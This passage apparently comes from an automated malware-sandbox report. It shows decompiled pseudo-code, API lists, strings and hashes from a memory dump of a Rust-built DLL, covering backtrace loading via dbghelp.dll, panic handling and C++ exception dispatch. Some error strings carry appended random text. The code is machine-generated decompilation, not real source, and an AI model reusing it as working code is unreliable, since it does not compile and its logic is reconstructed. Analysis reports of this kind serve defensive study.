					_t20 =  *0x6ec3e130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6ec3e164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6ec3e134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6ec3e138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6ec3e13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6ec3e164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6ec3e130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6ec304bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6ec3e13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6ec3e130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6ec304ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6ec3e138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6ec3049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EBEE6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6ec3e134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6ec3e130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EBEE564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EBEE592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EBEE5C2
GetCurrentProcess.KERNEL32 ref: 6EBEE5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE613

Part of subcall function 6EBEE6D0: ReleaseMutex.KERNEL32(?,6EBEE448), ref: 6EBEE6D1

Strings

Local\RustBacktraceMutex, xrefs: 6EBEE5EC
dbghelp.dll, xrefs: 6EBEE52E
SymInitializeW, xrefs: 6EBEE5B7
called `Option::unwrap()` on a `None` value, xrefs: 6EBEE651, 6EBEE674, 6EBEE697
SymGetOptions, xrefs: 6EBEE55E
SymSetOptions, xrefs: 6EBEE587

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: 2926b49e4c5c2f1ab0210125e417ce0a3023719fc2a241d9039588e025ee0056
Instruction ID: ea27c71fa9d764eb9cc7b2d8d9a7e3ded4361cfd7b1416c091c7e366da800832
Opcode Fuzzy Hash: 2926b49e4c5c2f1ab0210125e417ce0a3023719fc2a241d9039588e025ee0056
Instruction Fuzzy Hash: F841E271A007859FEF20DFE48E5179E7BB8AB45754F100438E816AB782FB759801CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC6D0, Relevance: 24.9, APIs: 12, Strings: 2, Instructions: 409
memoryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EBEC6D0(long _a4, signed int _a8) {
				intOrPtr _v4;
				void* _v20;
				void _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				char _v41;
				long _v48;
				long* _v52;
				intOrPtr _v56;
				long _v60;
				void _v64;
				long* _v68;
				long _v72;
				char _v76;
				long* _v80;
				void* _v84;
				char _v88;
				long _v92;
				char* _v96;
				long _v100;
				void* _v104;
				void** _v108;
				void* _v112;
				long _v116;
				void* _v120;
				long _v124;
				char _v128;
				intOrPtr _v132;
				void _v136;
				void* _v140;
				intOrPtr _v144;
				signed int _v148;
				intOrPtr _v152;
				intOrPtr* _t193;
				void* _t197;
				void _t198;
				intOrPtr* _t199;
				signed int _t200;
				signed int _t202;
				char* _t204;
				long _t205;
				long _t206;
				void* _t207;
				void* _t208;
				long _t209;
				void _t212;
				void _t213;
				void* _t222;
				void* _t225;
				long _t229;
				void* _t238;
				void* _t248;
				void* _t250;
				void* _t251;
				char** _t254;
				char** _t255;
				void* _t259;
				void* _t263;
				void _t268;
				char _t269;
				signed char _t271;
				void* _t274;
				void _t275;
				intOrPtr _t278;
				void* _t280;
				char* _t281;
				void _t282;
				void _t285;
				intOrPtr _t296;
				intOrPtr _t300;
				void _t303;
				long _t307;
				intOrPtr _t312;
				void* _t314;
				void* _t315;
				signed int _t316;
				signed int _t318;
				void* _t324;
				intOrPtr* _t330;
				long _t332;
				void* _t333;
				void* _t337;
				void _t338;
				void* _t340;
				void* _t341;
				void* _t342;
				void* _t343;
				void _t346;
				void* _t347;
				void* _t348;
				void* _t359;
				void* _t372;
				long _t373;

				 *_t346 = _t274;
				_v4 = _t312;
				_t275 = _t346;
				_push(_a4);
				_push(0);
				L1();
				_t347 = _t346 + 8;
				asm("ud2");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				_t348 = _t347 - 0x88;
				_v40 = _t348;
				_v28 = 0xffffffff;
				_v32 = E6EBF39A0;
				_t268 = _t275;
				_t340 = 1;
				_t337 = 0x6ec301dc;
				_v36 =  *[fs:0x0];
				 *[fs:0x0] =  &_v36;
				asm("lock xadd [0x6ec3e120], esi");
				_t193 = E6EBED000(_t268, 0x6ec301dc);
				_t349 = _t193;
				if(_t193 == 0) {
					_t193 = E6EC095A0(_t268,  &M6EC2F8F7, 0x46, _t349,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
					_t348 = _t348 + 0xc;
					asm("ud2");
				}
				_t314 = _a8;
				_t278 =  *_t193 + 1;
				 *_t193 = _t278;
				if(_t340 < 0 || _t278 >= 3) {
					__eflags = _t278 - 2;
					if(__eflags <= 0) {
						_v124 = 0x6ec2f570;
						_v120 = 0x6ec2f824;
						_v68 = 0x6ec30260;
						_v64 = 2;
						_v96 = 0;
						_v100 = 0;
						_v60 = 0;
						_v116 = _a4;
						_v112 = _t314;
						_t315 =  &_v68;
						_v80 =  &_v124;
						_v76 = E6EBE2470;
						_v52 =  &_v80;
						_v48 = 1;
						_t197 = E6EBED0F0( &_v100, __eflags);
						__eflags = _t197 - 3;
						if(_t197 == 3) {
							_v20 = 0;
							_v36 = _t315;
							 *((intOrPtr*)( *((intOrPtr*)(_t315 + 4))))( *_t315);
							_t348 = _t348 + 4;
							L12:
							_t340 = _v36;
							_t307 =  *(_t340 + 4);
							__eflags =  *(4 + _t307);
							if( *(4 + _t307) != 0) {
								HeapFree( *0x6ec3e128, 0, _t259);
							}
							_t197 = HeapFree( *0x6ec3e128, 0, _t340);
						}
						goto L17;
					}
					_t333 =  &_v68;
					_v68 = 0x6ec30224;
					_v64 = 1;
					_v60 = 0;
					_v52 = 0x6ec2f570;
					_v120 = 0;
					_v124 = 0;
					_v48 = 0;
					_t197 = E6EBED0F0( &_v124, __eflags);
					__eflags = _t197 - 3;
					if(_t197 != 3) {
						goto L17;
					} else {
						_v20 = 1;
						_v36 = _t333;
						 *((intOrPtr*)( *((intOrPtr*)(_t333 + 4))))( *_t333);
						_t348 = _t348 + 4;
						goto L12;
					}
				} else {
					_v132 = _t278;
					__imp__AcquireSRWLockShared(0x6ec3e11c);
					_v144 = 0x6ec3e11c;
					_v20 = 2;
					_v136 = _t268;
					_v140 = _t337;
					_t263 =  *((intOrPtr*)(_t337 + 0x10))(_t268);
					_t348 = _t348 + 4;
					_v36 = _t263;
					_v40 = _t314;
					_t197 = E6EBED000(_t268, _t337);
					_t337 = _v40;
					_t352 = _t197;
					if(_t197 != 0) {
						L18:
						__eflags =  *_t197 - 1;
						_t280 = 1;
						if( *_t197 <= 1) {
							_t198 =  *0x6ec3e110; // 0x0
							_t316 = _a8;
							__eflags = _t198 - 2;
							if(_t198 == 2) {
								_t280 = 0;
								goto L20;
							}
							__eflags = _t198 - 1;
							if(_t198 == 1) {
								_t280 = 4;
								goto L20;
							}
							__eflags = _t198;
							if(_t198 != 0) {
								goto L20;
							}
							E6EBED380(_t268,  &_v68, _t337, _t340);
							_t337 = _v40;
							_t251 = _v68;
							__eflags = _t251;
							if(_t251 != 0) {
								goto L69;
							}
							_t271 = 5;
							goto L87;
						}
						_t316 = _a8;
						goto L20;
					} else {
						E6EC095A0(_t268,  &M6EC2F8F7, 0x46, _t352,  &_v68, 0x6ec2f870, 0x6ec2f9bc);
						_t348 = _t348 + 0xc;
						L62:
						asm("ud2");
						L63:
						_t281 = "Box<dyn Any><unnamed>thread \'\' panicked at \'\', ";
						_t204 = 0xc;
						L22:
						_v100 = _t281;
						_v96 = _t204;
						_t205 =  *0x6ec3d044; // 0x0
						if(_t205 == 0) {
							_t285 = 0x6ec3d044;
							_t205 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
						}
						_t197 = TlsGetValue(_t205);
						if(_t197 <= 1) {
							L43:
							_t206 =  *0x6ec3d044; // 0x0
							__eflags = _t206;
							if(_t206 == 0) {
								_t285 = 0x6ec3d044;
								_t206 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
							}
							_t197 = TlsGetValue(_t206);
							__eflags = _t197;
							if(_t197 == 0) {
								_t207 =  *0x6ec3e128; // 0x2ff0000
								__eflags = _t207;
								if(_t207 != 0) {
									L67:
									_t208 = HeapAlloc(_t207, 0, 0x10);
									__eflags = _t208;
									if(__eflags != 0) {
										 *_t208 = 0;
										 *(_t208 + 0xc) = 0x6ec3d044;
										_t340 = _t208;
										_t209 =  *0x6ec3d044; // 0x0
										__eflags = _t209;
										if(_t209 == 0) {
											_v36 = _t340;
											_t209 = E6EBF2960(_t268, 0x6ec3d044, _t337, _t340);
											_t340 = _v36;
										}
										_t197 = TlsSetValue(_t209, _t340);
										goto L76;
									}
									L68:
									_t251 = E6EC092F0(_t268, 0x10, 4, _t337, _t340, __eflags);
									asm("ud2");
									L69:
									_t332 = _v60;
									_t303 = _v64;
									__eflags = _t332 - 4;
									if(_t332 == 4) {
										__eflags =  *_t251 - 0x6c6c7566;
										if( *_t251 != 0x6c6c7566) {
											L84:
											_t340 = 2;
											_t271 = 0;
											__eflags = 0;
											L85:
											__eflags = _t303;
											if(_t303 != 0) {
												HeapFree( *0x6ec3e128, 0, _t251);
											}
											L87:
											__eflags = _t271 - 5;
											_t316 = _a8;
											_t273 =  !=  ? _t340 : 1;
											_t280 =  !=  ? _t271 & 0x000000ff : 4;
											_t144 =  !=  ? _t340 : 1;
											_t268 =  *0x6ec3e110;
											 *0x6ec3e110 =  !=  ? _t340 : 1;
											L20:
											_v148 = _t316;
											_v128 = _t280;
											_t61 = _t337 + 0xc; // 0x6ebf3290
											_t199 =  *_t61;
											_v40 = _t199;
											_t200 =  *_t199(_v36);
											_t348 = _t348 + 4;
											_t318 = _t316 ^ 0x7ef2a91e | _t200 ^ 0xecc7bcf4;
											__eflags = _t318;
											if(__eflags != 0) {
												_t202 = _v40(_v36);
												_t348 = _t348 + 4;
												__eflags = _t318 ^ 0xe43a67d8 | _t202 ^ 0xbae7a625;
												if(__eflags != 0) {
													goto L63;
												}
												_t254 = _v36;
												_t281 =  *_t254;
												_t204 = _t254[2];
												goto L22;
											}
											_t255 = _v36;
											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6ec3e128 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EBEC640(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EC095A0(_t268, "already borrowedC:cmfltobzsqiwzwswifceeeiuunqkihdnyjizwfcsrqtsqkmwekwaanfzackndqagesnhktvjovmkrgyplrusstvgwloxgtnnoxmtpmkzzsudqjpdkuwbmncfcubd", 0x10, __eflags,  &_v68, 0x6ec2f860, 0x6ec2ff30);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EBEC4D0(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EBEC640(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6ec3010c;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6ebedca0;
										_v60 =  &_v100;
										_v56 = 0x6ebedca0;
										_v52 =  &_v148;
										_v48 = E6EBEDCC0;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EBED0F0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t248);
											}
											HeapFree( *0x6ec3e128, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ec3e10c);
											_v68 = 0x6ec2fad0;
											_v64 = 1;
											_v152 = 0x6ec3e10c;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EBEDD30;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EBED0F0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ec3e10c);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EBEC640(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EBEDA70(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ec3e11c);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6ec3029c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6ec2f570;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EBED0F0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EBED2B0( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EBED290(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6ec3d040 = 0;
											_t368 =  *0x6ec3d040;
											if( *0x6ec3d040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6ec3017c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6ec2f570;
											_v48 = 0;
											_v20 = 3;
											if(E6EBED0F0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6ec3e128, 0, _t238);
											}
											HeapFree( *0x6ec3e128, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EBEC700: AcquireSRWLockShared.KERNEL32(6EC3E11C), ref: 6EBEC785

HeapFree.KERNEL32(00000000,00000000), ref: 6EBEC8DC
HeapFree.KERNEL32(00000000,?), ref: 6EBEC8EA
TlsGetValue.KERNEL32(00000000), ref: 6EBEC94D
HeapFree.KERNEL32(00000000,00000000), ref: 6EBECB31
HeapFree.KERNEL32(00000000,?), ref: 6EBECB3F

Strings

cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa, xrefs: 6EBEC74D, 6EBEC7C8
Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EBECC00

Memory Dump Source

Source File: 00000004.00000002.665239855.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000004.00000002.664938459.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.669359074.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.673746548.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.674115007.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.674416389.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:kqwvpwvvlwjdcfhskugiowpmgqvcpfwggcvmmylhvkfknbiwgoixhewssvmqfpwemyruhmqomiebebgwzyjtgnzgjfkbtcehpwhopimlufuwcaldobojssciqoa
API String ID: 942675266-716947571
Opcode ID: eddef04ac5e96b3e9f3734bbe6b085478d9d32c45cf01bda244f49a2912cfb07
Instruction ID: ed63c59c100b3c4560959e41b315ea1a64a65d2d969013c95b464d49001f27f4
Opcode Fuzzy Hash: eddef04ac5e96b3e9f3734bbe6b085478d9d32c45cf01bda244f49a2912cfb07
Instruction Fuzzy Hash: A30254B0A002998FEB10CFE4C954B9EBFB5FF49344F208529D419AB781E775A946CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6EBFF6F6, Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EBFF6F6(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EC00658(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EC01C23(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EBFF3B1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EBFF3B1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EBFEBF7(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EBFEB2A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EBFF676(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EC01C23(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EBFF3B1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
